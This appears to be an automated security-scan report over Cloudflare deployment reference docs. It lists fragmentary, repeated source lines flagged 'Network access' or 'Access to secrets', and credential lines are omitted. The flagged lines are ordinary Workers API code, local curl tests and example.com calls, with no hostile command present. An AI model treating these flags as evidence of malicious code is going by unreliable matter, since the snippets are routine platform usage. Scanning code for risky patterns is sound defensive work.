const container = env.STATELESS_API.getRandom(); await container.startAndWaitForPorts(); return container.fetch(request); - Network accessline 29
await container.startAndWaitForPorts(); return container.fetch(request); } - Network accessline 30
return container.fetch(request); - Network accessline 40
export default { async fetch(request: Request, env: Env) { - Network accessline 41
async fetch(request: Request, env: Env) { - Network accessline 42
const container = env.GLOBAL_SERVICE.getByName("singleton"); await container.startAndWaitForPorts(); return container.fetch(request); - Network accessline 43
await container.startAndWaitForPorts(); return container.fetch(request); } - Network accessline 44
return container.fetch(request); - Network accessline 54
export default { async fetch(request: Request, env: Env) { - Network accessline 55
async fetch(request: Request, env: Env) { - Network accessline 61
// ⚠<U+FE0F> MUST use fetch(), not containerFetch() - Network accessline 62
return container.fetch(request); - Network accessline 69
**⚠<U+FE0F> Critical:** Always use `fetch()` for WebSocket. - Network accessline 97
async fetch(request: Request) { - Network accessline 102
} }); return super.fetch(request); - Network accessline 103
}); return super.fetch(request); } - Network accessline 104
return super.fetch(request); - Network accessline 139
async fetch(request: Request) { - Network accessline 141
if (path.startsWith("/grpc")) this.switchPort(8081); else if (path.startsWith("/metrics")) this.switchPort(9090); return super.fetch(request); - Network accessline 142
else if (path.startsWith("/metrics")) this.switchPort(9090); return super.fetch(request); } - Network accessline 143
return super.fetch(request); - Network accessline 163
const result = await step.do("process", async () => { return container.fetch("/process", { - Network accessline 164
return container.fetch("/process", { - Network accessline 187
const response = await container.fetch("/process", {
packages/autoskills/skills-registry/cloudflare-deploy/references/cron-triggers/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/cron-triggers/api.md
- Network accessline 123
# Trigger any cron curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*" - Network accessline 124
curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*" - Network accessline 126
# Trigger specific cron with custom time curl "http://localhost:8787/__scheduled?cron=0+2+*+*+*&scheduledTime=1704067200000" - Network accessline 127
curl "http://localhost:8787/__scheduled?cron=0+2+*+*+*&scheduledTime=1704067200000"
packages/autoskills/skills-registry/cloudflare-deploy/references/cron-triggers/configuration.md
- Network accessline 114
curl "https://api.cloudflare.com/client/v4/accounts/{account_id}/workers/scripts/{script_name}/schedules" \ - Network accessline 120
curl -X PUT "https://api.cloudflare.com/client/v4/accounts/{account_id}/workers/scripts/{script_name}/schedules" \ - Network accessline 128
curl -X PUT "https://api.cloudflare.com/client/v4/accounts/{account_id}/workers/scripts/{script_name}/schedules" \ - Network accessline 167
**Test cron syntax:** - [crontab.guru](https://crontab.guru/) - Interactive validator - Network accessline 168
- [crontab.guru](https://crontab.guru/) - Interactive validator
packages/autoskills/skills-registry/cloudflare-deploy/references/cron-triggers/gotchas.md
- Network accessline 57
# Correct curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*" - Network accessline 58
curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*" - Network accessline 60
# Wrong (will fail) curl "http://localhost:8787/__scheduled?cron=*/5 * * * *" - Network accessline 61
curl "http://localhost:8787/__scheduled?cron=*/5 * * * *" - Network accessline 123
export default { async fetch(request, env, ctx) { - Network accessline 124
async fetch(request, env, ctx) { - Access to secretsline 141
[Credential-related source omitted] - Network accessline 145
export default { async fetch(request, env, ctx) { - Network accessline 146
async fetch(request, env, ctx) { - Network accessline 194
- [Cron Triggers Docs](https://developers.cloudflare.com/workers/configuration/cron-triggers/) - Network accessline 195
- [Scheduled Handler API](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/) - Network accessline 196
- [Cloudflare Workflows](https://developers.cloudflare.com/workflows/) - Network accessline 197
- [Workers Limits](https://developers.cloudflare.com/workers/platform/limits/) - Network accessline 198
- [Crontab Guru](https://crontab.guru/) - Validator - Network accessline 199
- [Vitest Pool Workers](https://github.com/cloudflare/workers-sdk/tree/main/fixtures/vitest-pool-workers-examples)
packages/autoskills/skills-registry/cloudflare-deploy/references/cron-triggers/patterns.md
- Network accessline 6
[Credential-related source omitted] - Network accessline 7
[Credential-related source omitted] - Network accessline 8
[Credential-related source omitted] - Access to secretsline 8
[Credential-related source omitted] - Network accessline 35
const reportKey = `reports/weekly-${Date.now()}.json`; await env.REPORTS_BUCKET.put(reportKey, JSON.stringify(report)); ctx.waitUntil(env.SEND_EMAIL.fetch("https://example.com/send", {method: "POST", body: JSON.stringify({to: "team@ - Network accessline 36
await env.REPORTS_BUCKET.put(reportKey, JSON.stringify(report)); ctx.waitUntil(env.SEND_EMAIL.fetch("https://example.com/send", {method: "POST", body: JSON.stringify({to: "team@example.com", subject: "Weekly Report", reportUrl: `https:/ - Network accessline 37
ctx.waitUntil(env.SEND_EMAIL.fetch("https://example.com/send", {method: "POST", body: JSON.stringify({to: "team@example.com", subject: "Weekly Report", reportUrl: `https://reports.example.com/${reportKey}`})})); - Network accessline 45
export default { async scheduled(controller, env, ctx) { const services = [{name: "API", url: "https://api.example.com/health"}, {name: "CDN", url: "https://cdn.example.com/health"}]; - Network accessline 46
async scheduled(controller, env, ctx) { const services = [{name: "API", url: "https://api.example.com/health"}, {name: "CDN", url: "https://cdn.example.com/health"}]; const checks = await Promise.all(services.map(async (service) => - Network accessline 47
const services = [{name: "API", url: "https://api.example.com/health"}, {name: "CDN", url: "https://cdn.example.com/health"}]; - Network accessline 49
const start = Date.now(); try { const response = await fetch(service.url, { signal: AbortSignal.timeout(5000) }); - Network accessline 50
try { const response = await fetch(service.url, { signal: AbortSignal.timeout(5000) }); return {name: service.name, status: response.ok ? "up" : "down", responseTime: Date.now() - start}; - Network accessline 51
const response = await fetch(service.url, { signal: AbortSignal.timeout(5000) }); - Network accessline 57
ctx.waitUntil(env.STATUS_KV.put("health_status", JSON.stringify(checks))); const failures = checks.filter(c => c.status === "down"); if (failures.length > 0) ctx.waitUntil(fetch(env.ALERT_WEBHOOK, {method: "POST", body: JSON.stringi - Network accessline 58
const failures = checks.filter(c => c.status === "down"); if (failures.length > 0) ctx.waitUntil(fetch(env.ALERT_WEBHOOK, {method: "POST", body: JSON.stringify({text: `${failures.length} service(s) down: ${failures.map(f => f.name).join - Network accessline 59
if (failures.length > 0) ctx.waitUntil(fetch(env.ALERT_WEBHOOK, {method: "POST", body: JSON.stringify({text: `${failures.length} service(s) down: ${failures.map(f => f.name).join(", ")}`})})); - Network accessline 70
[Credential-related source omitted] - Network accessline 71
[Credential-related source omitted] - Network accessline 72
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Network accessline 106
} catch (error) { console.error("[ERROR]", { ...meta, duration: Date.now() - startTime, error: error.message }); ctx.waitUntil(fetch(env.ALERT_WEBHOOK, { method: "POST", body: JSON.stringify({ text: `Cron failed: ${controller.cr - Network accessline 107
console.error("[ERROR]", { ...meta, duration: Date.now() - startTime, error: error.message }); ctx.waitUntil(fetch(env.ALERT_WEBHOOK, { method: "POST", body: JSON.stringify({ text: `Cron failed: ${controller.cron}`, error: error.messa - Network accessline 108
ctx.waitUntil(fetch(env.ALERT_WEBHOOK, { method: "POST", body: JSON.stringify({ text: `Cron failed: ${controller.cron}`, error: error.message }) })); - Network accessline 155
# Test specific cron curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*" - Network accessline 156
curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*" - Network accessline 158
# Test with specific time curl "http://localhost:8787/__scheduled?cron=0+2+*+*+*&scheduledTime=1704067200000" - Network accessline 159
curl "http://localhost:8787/__scheduled?cron=0+2+*+*+*&scheduledTime=1704067200000"
packages/autoskills/skills-registry/cloudflare-deploy/references/d1/api.md
- Network accessline 134
// Single query const response = await fetch( - Network accessline 135
const response = await fetch( - Network accessline 136
`https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/d1/database/${DATABASE_ID}/query`, - Access to secretsline 140
[Credential-related source omitted] - Network accessline 153
// Batch queries via HTTP const response = await fetch( - Network accessline 154
const response = await fetch( - Network accessline 155
`https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/d1/database/${DATABASE_ID}/query`, - Access to secretsline 159
[Credential-related source omitted] - Network accessline 179
beforeAll(async () => { worker = await unstable_dev('src/index.ts'); }); afterAll(async () => { await worker.stop(); }); it('queries users', async () => { expect((await worker.fetch('/users')).status).toBe(200); }); - Network accessline 180
afterAll(async () => { await worker.stop(); }); it('queries users', async () => { expect((await worker.fetch('/users')).status).toBe(200); }); }); - Network accessline 181
it('queries users', async () => { expect((await worker.fetch('/users')).status).toBe(200); });
packages/autoskills/skills-registry/cloudflare-deploy/references/d1/configuration.md
- Network accessline 38
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 39
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Access to secretsline 124
[Credential-related source omitted] - Network accessline 137
import { users } from './schema'; export default { async fetch(request: Request, env: Env) { - Network accessline 138
export default { async fetch(request: Request, env: Env) { const db = drizzle(env.DB); - Network accessline 139
async fetch(request: Request, env: Env) {
packages/autoskills/skills-registry/cloudflare-deploy/references/d1/patterns.md
- Network accessline 84
// Each tenant gets own database export default { async fetch(request: Request, env: { [key: `TENANT_${string}`]: D1Database }) { - Network accessline 85
export default { async fetch(request: Request, env: { [key: `TENANT_${string}`]: D1Database }) { const tenantId = request.headers.get('X-Tenant-ID'); - Network accessline 86
async fetch(request: Request, env: { [key: `TENANT_${string}`]: D1Database }) { - Network accessline 124
export default { async fetch(request: Request, env: Env) { - Network accessline 125
async fetch(request: Request, env: Env) {
packages/autoskills/skills-registry/cloudflare-deploy/references/ddos/api.md
packages/autoskills/skills-registry/cloudflare-deploy/references/ddos/patterns.md
packages/autoskills/skills-registry/cloudflare-deploy/references/do-storage/configuration.md
- Network accessline 59
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 60
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 68
// Legacy: forward request (still works) // return stub.fetch(request); - Network accessline 69
// return stub.fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/do-storage/gotchas.md
- Network accessline 43
**fetch() breaks input/output gates** → allows request interleaving: - Network accessline 46
// UNSAFE: fetch() allows another request to interleave - Network accessline 47
async unsafe() { const val = await this.ctx.storage.get("counter"); await fetch("https://api.example.com"); // Gate broken! - Network accessline 48
const val = await this.ctx.storage.get("counter"); await fetch("https://api.example.com"); // Gate broken! await this.ctx.storage.put("counter", val + 1); // Race condition possible - Network accessline 49
await fetch("https://api.example.com"); // Gate broken! - Network accessline 59
return await this.ctx.blockConcurrencyWhile(async () => { const val = await this.ctx.storage.get("counter"); await fetch("https://api.example.com"); - Network accessline 60
const val = await this.ctx.storage.get("counter"); await fetch("https://api.example.com"); await this.ctx.storage.put("counter", val + 1); - Network accessline 61
await fetch("https://api.example.com");
packages/autoskills/skills-registry/cloudflare-deploy/references/durable-objects/README.md
- Network accessline 55
**RPC vs fetch() decision:** - Network accessline 57
├─ New project + compat ≥2024-04-03 → RPC (type-safe, simpler) ├─ Need HTTP semantics (headers, status) → fetch() - Network accessline 58
├─ Need HTTP semantics (headers, status) → fetch() - Network accessline 59
├─ Proxying requests to DO → fetch() - Network accessline 60
└─ Legacy compatibility → fetch() - Network accessline 63
See [Patterns: RPC vs fetch()](./patterns.md) for examples. - Access to secretsline 96
[Credential-related source omitted] - Network accessline 107
// Worker access export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 108
export default { async fetch(request: Request, env: Env): Promise<Response> { const id = env.COUNTER.idFromName("global"); - Network accessline 109
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 142
├─ New project + typed methods → RPC (compat ≥2024-04-03) ├─ Need HTTP semantics → fetch() - Network accessline 143
├─ Need HTTP semantics → fetch() - Network accessline 144
├─ Proxying to DO → fetch() - Network accessline 145
└─ Legacy compat → fetch() - Network accessline 148
See [Patterns: RPC vs fetch()](./patterns.md) for examples. - Network accessline 170
**Docs**: https://developers.cloudflare.com/durable-objects/ - Network accessline 171
**API Reference**: https://developers.cloudflare.com/durable-objects/api/ - Network accessline 172
**Examples**: https://developers.cloudflare.com/durable-objects/examples/
packages/autoskills/skills-registry/cloudflare-deploy/references/durable-objects/api.md
- Access to secretsline 8
[Credential-related source omitted] - Network accessline 17
// fetch handler (legacy/HTTP semantics) async fetch(req: Request): Promise<Response> { /* ... */ } - Network accessline 18
async fetch(req: Request): Promise<Response> { /* ... */ } - Network accessline 137
async fetch(req: Request): Promise<Response> {
packages/autoskills/skills-registry/cloudflare-deploy/references/durable-objects/configuration.md
- Access to secretsline 128
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/durable-objects/gotchas.md
packages/autoskills/skills-registry/cloudflare-deploy/references/durable-objects/patterns.md
- Network accessline 14
## RPC vs fetch() - Network accessline 16
**RPC** (compat ≥2024-04-03): Type-safe, simpler, default for new projects **fetch()**: Legacy compat, HTTP semantics, proxying - Network accessline 17
**fetch()**: Legacy compat, HTTP semantics, proxying - Network accessline 20
const count = await stub.increment(); // RPC const count = await (await stub.fetch(req)).json(); // fetch() - Network accessline 21
const count = await (await stub.fetch(req)).json(); // fetch() - Network accessline 29
export default { async fetch(req: Request, env: Env): Promise<Response> { - Network accessline 30
async fetch(req: Request, env: Env): Promise<Response> { - Network accessline 32
const hash = hashCode(userId) % 100; // 100 shards const id = env.COUNTER.idFromName(`shard:${hash}`); return env.COUNTER.get(id).fetch(req); - Network accessline 33
const id = env.COUNTER.idFromName(`shard:${hash}`); return env.COUNTER.get(id).fetch(req); } - Network accessline 34
return env.COUNTER.get(id).fetch(req); - Network accessline 80
async fetch(req: Request): Promise<Response> {
packages/autoskills/skills-registry/cloudflare-deploy/references/email-routing/README.md
- Access to secretsline 25
[Credential-related source omitted] - Network accessline 87
- [Cloudflare Docs: Email Routing](https://developers.cloudflare.com/email-routing/) - Network accessline 88
- [Cloudflare Docs: Email Workers](https://developers.cloudflare.com/email-routing/email-workers/) - Network accessline 89
- [postal-mime npm package](https://www.npmjs.com/package/postal-mime)
packages/autoskills/skills-registry/cloudflare-deploy/references/email-routing/api.md
- Network accessline 132
export default { async fetch(request, env, ctx): Promise<Response> { - Network accessline 133
async fetch(request, env, ctx): Promise<Response> { - Network accessline 139
], subject: "Your order #12345 has shipped", text: "Track your package at: https://track.example.com/12345", - Network accessline 140
subject: "Your order #12345 has shipped", text: "Track your package at: https://track.example.com/12345", html: "<p>Track your package at: <a href='https://track.example.com/12345'>View tracking</a></p>", - Network accessline 141
text: "Track your package at: https://track.example.com/12345", - Network accessline 142
html: "<p>Track your package at: <a href='https://track.example.com/12345'>View tracking</a></p>", - Access to secretsline 148
[Credential-related source omitted] - Network accessline 161
Base URL: `https://api.cloudflare.com/client/v4` - Network accessline 166
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Network accessline 183
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Access to secretsline 184
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/email-routing/configuration.md
- Network accessline 52
# Test with curl curl -X POST 'http://localhost:8787/__email' \ - Network accessline 53
curl -X POST 'http://localhost:8787/__email' \ - Network accessline 74
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 133
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/email-routing/gotchas.md
- Network accessline 121
curl -X POST 'http://localhost:8787/__email' \
packages/autoskills/skills-registry/cloudflare-deploy/references/email-routing/patterns.md
- Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Access to secretsline 170
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Access to secretsline 213
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/email-workers/README.md
- Network accessline 147
- [Email Routing Documentation](https://developers.cloudflare.com/email-routing/) - Network accessline 148
- [Workers Platform](https://developers.cloudflare.com/workers/) - Network accessline 149
- [Wrangler CLI](https://developers.cloudflare.com/workers/wrangler/) - Network accessline 150
- [postal-mime on npm](https://www.npmjs.com/package/postal-mime) - Network accessline 151
- [mimetext on npm](https://www.npmjs.com/package/mimetext)
packages/autoskills/skills-registry/cloudflare-deploy/references/email-workers/configuration.md
- Network accessline 16
"kv_namespaces": [{ "binding": "ARCHIVE", "id": "xxx" }], "r2_buckets": [{ "binding": "ATTACHMENTS", "bucket_name": "email-attachments" }], "vars": { "WEBHOOK_URL": "https://hooks.example.com" } - Network accessline 17
"r2_buckets": [{ "binding": "ATTACHMENTS", "bucket_name": "email-attachments" }], "vars": { "WEBHOOK_URL": "https://hooks.example.com" } } - Network accessline 18
"vars": { "WEBHOOK_URL": "https://hooks.example.com" } - Network accessline 63
# Test receiving curl --request POST 'http://localhost:8787/cdn-cgi/handler/email' \ - Network accessline 64
curl --request POST 'http://localhost:8787/cdn-cgi/handler/email' \ - Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 95
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/email-workers/gotchas.md
- Network accessline 21
// ❌ Errors dropped silently ctx.waitUntil(fetch(webhookUrl, { method: 'POST', body: data })); - Network accessline 22
ctx.waitUntil(fetch(webhookUrl, { method: 'POST', body: data })); - Network accessline 24
// ✅ Catch and log ctx.waitUntil( fetch(webhookUrl, { method: 'POST', body: data }) - Network accessline 25
ctx.waitUntil( fetch(webhookUrl, { method: 'POST', body: data }) .catch(err => env.ERROR_LOG.put(`error:${Date.now()}`, err.message)) - Network accessline 26
fetch(webhookUrl, { method: 'POST', body: data })
packages/autoskills/skills-registry/cloudflare-deploy/references/email-workers/patterns.md
packages/autoskills/skills-registry/cloudflare-deploy/references/hyperdrive/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/hyperdrive/api.md
packages/autoskills/skills-registry/cloudflare-deploy/references/hyperdrive/gotchas.md
- Network accessline 72
- [Docs](https://developers.cloudflare.com/hyperdrive/) - Network accessline 73
- [Getting Started](https://developers.cloudflare.com/hyperdrive/get-started/) - Network accessline 74
- [Wrangler Reference](https://developers.cloudflare.com/hyperdrive/reference/wrangler-commands/) - Network accessline 75
- [Supported DBs](https://developers.cloudflare.com/hyperdrive/reference/supported-databases-and-features/) - Network accessline 76
- [Discord #hyperdrive](https://discord.cloudflare.com) - Network accessline 77
- [Limit Increase Form](https://forms.gle/ukpeZVLWLnKeixDu7)
packages/autoskills/skills-registry/cloudflare-deploy/references/images/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/images/api.md
- Network accessline 53
curl -X POST https://api.cloudflare.com/client/v4/accounts/{account_id}/images/v1 \ - Network accessline 68
https://imagedelivery.net/{hash}/{id}/width=800,height=600,fit=cover,format=avif - Network accessline 76
// 1. Get upload URL (backend) const { result } = await fetch( - Network accessline 77
const { result } = await fetch( - Network accessline 78
`https://api.cloudflare.com/client/v4/accounts/${accountId}/images/v2/direct_upload`, - Network accessline 84
const formData = new FormData(); formData.append('file', file); await fetch(result.uploadURL, { method: 'POST', body: formData }); - Network accessline 86
await fetch(result.uploadURL, { method: 'POST', body: formData });
packages/autoskills/skills-registry/cloudflare-deploy/references/images/configuration.md
- Network accessline 25
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 26
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 47
[Credential-related source omitted] - Network accessline 52
const response = await fetch( - Network accessline 53
`https://api.cloudflare.com/client/v4/accounts/${accountId}/images/v1`, - Network accessline 83
const imageUrl = `https://imagedelivery.net/${env.IMAGES_ACCOUNT_HASH}/${imageId}/public`; - Network accessline 100
curl -X POST \ - Network accessline 101
https://api.cloudflare.com/client/v4/accounts/{account_id}/images/v1/variants \ - Network accessline 118
https://imagedelivery.net/{account_hash}/{image_id}/thumbnail - Network accessline 161
[Credential-related source omitted] - Network accessline 162
https://api.cloudflare.com/client/v4/accounts/{account_id}/images/v1 - Network accessline 168
[Credential-related source omitted] - Access to secretsline 168
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted] - Network accessline 170
https://api.cloudflare.com/client/v4/accounts/{account_id}/images/v1 - Network accessline 178
# Upload with signed URLs required curl -X POST \ - Network accessline 179
curl -X POST \ - Network accessline 180
https://api.cloudflare.com/client/v4/accounts/{account_id}/images/v1 \ - Network accessline 198
return `https://imagedelivery.net/{hash}${path}?exp=${expiry}&sig=${signature}`; - Access to secretsline 202
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/images/gotchas.md
packages/autoskills/skills-registry/cloudflare-deploy/references/images/patterns.md
- Network accessline 15
<img src="https://imagedelivery.net/{hash}/{id}/width=800" - Network accessline 23
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 33
// Backend: Generate upload URL const response = await fetch( - Network accessline 34
const response = await fetch( - Network accessline 35
`https://api.cloudflare.com/client/v4/accounts/${env.ACCOUNT_ID}/images/v2/direct_upload`, - Access to secretsline 36
[Credential-related source omitted] - Network accessline 41
const formData = new FormData(); formData.append('file', file); await fetch(result.uploadURL, { method: 'POST', body: formData }); - Network accessline 42
formData.append('file', file); await fetch(result.uploadURL, { method: 'POST', body: formData }); // Use: https://imagedelivery.net/{hash}/${result.id}/public - Network accessline 43
await fetch(result.uploadURL, { method: 'POST', body: formData }); - Network accessline 44
// Use: https://imagedelivery.net/{hash}/${result.id}/public - Network accessline 50
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 64
const watermark = await env.ASSETS.fetch(new URL('/watermark.png', request.url)); - Network accessline 86
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
packages/autoskills/skills-registry/cloudflare-deploy/references/kv/configuration.md
- Network accessline 44
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 45
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 109
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/kv/patterns.md
- Network accessline 25
// L3: Origin (slow) const origin = await fetch(`https://api.example.com/${key}`).then(r => r.json()); - Network accessline 26
const origin = await fetch(`https://api.example.com/${key}`).then(r => r.json()); - Network accessline 49
env, "cache:users", () => fetch("https://api.example.com/users").then(r => r.json()) - Network accessline 50
"cache:users", () => fetch("https://api.example.com/users").then(r => r.json()) ); - Network accessline 51
() => fetch("https://api.example.com/users").then(r => r.json())
packages/autoskills/skills-registry/cloudflare-deploy/references/miniflare/README.md
- Network accessline 74
script: ` export default { async fetch(request, env, ctx) { - Network accessline 75
export default { async fetch(request, env, ctx) { return new Response("Hello Miniflare!"); - Network accessline 76
async fetch(request, env, ctx) { - Network accessline 83
const res = await mf.dispatchFetch("http://localhost:8787/");
packages/autoskills/skills-registry/cloudflare-deploy/references/miniflare/api.md
- Network accessline 36
**Fetch (no HTTP server):** - Network accessline 38
const res = await mf.dispatchFetch("http://localhost:8787/path", { - Network accessline 47
const res = await mf.dispatchFetch("http://localhost:8787/", { - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Network accessline 111
const id = ns.idFromName("test"); const stub = ns.get(id); const res = await stub.fetch("http://localhost/"); - Network accessline 113
const res = await stub.fetch("http://localhost/"); - Network accessline 129
const caches = await mf.getCaches(); const defaultCache = caches.default; await defaultCache.put("http://example.com", new Response("cached")); - Network accessline 131
await defaultCache.put("http://example.com", new Response("cached")); - Network accessline 179
const mf = new Miniflare({ scriptPath: "worker.js" }); const url = await mf.ready; // Promise<URL> console.log(`Server running at ${url}`); // http://127.0.0.1:8787 - Network accessline 181
console.log(`Server running at ${url}`); // http://127.0.0.1:8787 - Network accessline 183
// Note: dispatchFetch() waits automatically, no need to await ready const res = await mf.dispatchFetch("http://localhost/"); // Works immediately - Network accessline 184
const res = await mf.dispatchFetch("http://localhost/"); // Works immediately
packages/autoskills/skills-registry/cloudflare-deploy/references/miniflare/configuration.md
- Network accessline 30
"streams_enable_constructors", // Stream constructors ], upstream: "https://example.com", // Fallback for unhandled requests - Network accessline 31
], upstream: "https://example.com", // Fallback for unhandled requests }); - Network accessline 32
upstream: "https://example.com", // Fallback for unhandled requests - Network accessline 90
bindings: { SECRET_KEY: "my-secret-value", API_URL: "https://api.example.com", - Network accessline 91
SECRET_KEY: "my-secret-value", API_URL: "https://api.example.com", DEBUG: true, - Network accessline 92
API_URL: "https://api.example.com",
packages/autoskills/skills-registry/cloudflare-deploy/references/miniflare/gotchas.md
- Access to secretsline 147
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/miniflare/patterns.md
- Network accessline 63
it("handles fetch", async () => { const res = await SELF.fetch("http://example.com/"); - Network accessline 64
const res = await SELF.fetch("http://example.com/"); - Network accessline 84
test("fetch", async () => { const res = await mf.dispatchFetch("http://localhost/"); - Network accessline 85
const res = await mf.dispatchFetch("http://localhost/"); - Network accessline 96
const ns = await mf.getDurableObjectNamespace("COUNTER"); const stub = ns.get(ns.idFromName("test-counter")); await stub.fetch("http://localhost/increment"); - Network accessline 98
await stub.fetch("http://localhost/increment"); - Network accessline 123
workers: [ { name: "main", serviceBindings: { API: "mock-api" }, script: `...` }, { name: "mock-api", script: `export default { async fetch() { return Response.json({mock: true}); } }` }, - Network accessline 124
{ name: "main", serviceBindings: { API: "mock-api" }, script: `...` }, { name: "mock-api", script: `export default { async fetch() { return Response.json({mock: true}); } }` }, ], - Network accessline 125
{ name: "mock-api", script: `export default { async fetch() { return Response.json({mock: true}); } }` }, - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted] - Network accessline 143
export default { async fetch(req: Request, env: Env) { - Network accessline 144
async fetch(req: Request, env: Env) { - Access to secretsline 147
[Credential-related source omitted] - Network accessline 153
const res = await mf.dispatchFetch("http://localhost/ws", { - Network accessline 177
// Use dispatchFetch (no port conflicts) await mf.dispatchFetch("http://localhost/"); - Network accessline 178
await mf.dispatchFetch("http://localhost/");
packages/autoskills/skills-registry/cloudflare-deploy/references/network-interconnect/README.md
- Network accessline 30
- IPv4 /24+ or IPv6 /48+ prefixes - BGP ASN for v1 - See [locations PDF](https://developers.cloudflare.com/network-interconnect/static/cni-locations-2026-01.pdf) - Network accessline 32
- See [locations PDF](https://developers.cloudflare.com/network-interconnect/static/cni-locations-2026-01.pdf)
packages/autoskills/skills-registry/cloudflare-deploy/references/network-interconnect/api.md
- Network accessline 8
https://api.cloudflare.com/client/v4 - Network accessline 78
Rates: `high` | `medium` | `low`. Types: `request` | `reply`. See [Magic Transit docs](https://developers.cloudflare.com/magic-transit/how-to/configure-tunnel-endpoints/#add-tunnels). - Access to secretsline 94
[Credential-related source omitted] - Network accessline 126
// LOA (use fetch) const res = await fetch(`https://api.cloudflare.com/client/v4/accounts/${id}/cni/interconnects/${iconId}/loa`, { - Network accessline 127
const res = await fetch(`https://api.cloudflare.com/client/v4/accounts/${id}/cni/interconnects/${iconId}/loa`, { - Access to secretsline 156
[Credential-related source omitted] - Network accessline 171
# List interconnects curl "https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/cni/interconnects" \ - Network accessline 172
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 173
[Credential-related source omitted] - Network accessline 175
# Create interconnect curl -X POST "https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/cni/interconnects?validate_only=true" \ - Network accessline 176
[Credential-related source omitted] - Access to secretsline 176
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Network accessline 180
# LOA PDF curl "https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/cni/interconnects/${ICON_ID}/loa" \ - Network accessline 181
[Credential-related source omitted] - Access to secretsline 181
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Network accessline 197
- [API Docs](https://developers.cloudflare.com/api/resources/network_interconnects/) - Network accessline 198
- [TypeScript SDK](https://github.com/cloudflare/cloudflare-typescript) - Network accessline 199
- [Python SDK](https://github.com/cloudflare/cloudflare-python)
packages/autoskills/skills-registry/cloudflare-deploy/references/network-interconnect/configuration.md
- Network accessline 13
4. **Configure** (Week 3): Both sides configure per doc 5. **Test** (Week 3-4): Ping, verify BGP, check routes 6. **Health checks** (Week 4): Configure [Magic Transit](https://developers.cloudflare.com/magic-transit/how-to/configure-tunnel- - Network accessline 14
5. **Test** (Week 3-4): Ping, verify BGP, check routes 6. **Health checks** (Week 4): Configure [Magic Transit](https://developers.cloudflare.com/magic-transit/how-to/configure-tunnel-endpoints/#add-tunnels) or [Magic WAN](https://developer - Network accessline 15
6. **Health checks** (Week 4): Configure [Magic Transit](https://developers.cloudflare.com/magic-transit/how-to/configure-tunnel-endpoints/#add-tunnels) or [Magic WAN](https://developers.cloudflare.com/magic-wan/configuration/manually/how-t - Network accessline 17
8. **Monitor**: Enable [maintenance notifications](https://developers.cloudflare.com/network-interconnect/monitoring-and-alerts/#enable-cloudflare-status-maintenance-notification) - Network accessline 54
**Post-setup:** Add [static routes](https://developers.cloudflare.com/magic-wan/configuration/manually/how-to/configure-routes/#configure-static-routes) to Magic WAN. Enable [bidirectional health checks](https://developers.cloudflare.com/ma - Network accessline 64
**Routing to GCP:** Add [static routes](https://developers.cloudflare.com/magic-wan/configuration/manually/how-to/configure-routes/#configure-static-routes). BGP routes from GCP Cloud Router **ignored**. - Network accessline 66
**Routing to CF:** Configure [custom learned routes](https://cloud.google.com/network-connectivity/docs/router/how-to/configure-custom-learned-routes) in Cloud Router. Request prefixes from CF account team.
packages/autoskills/skills-registry/cloudflare-deploy/references/network-interconnect/gotchas.md
- Network accessline 64
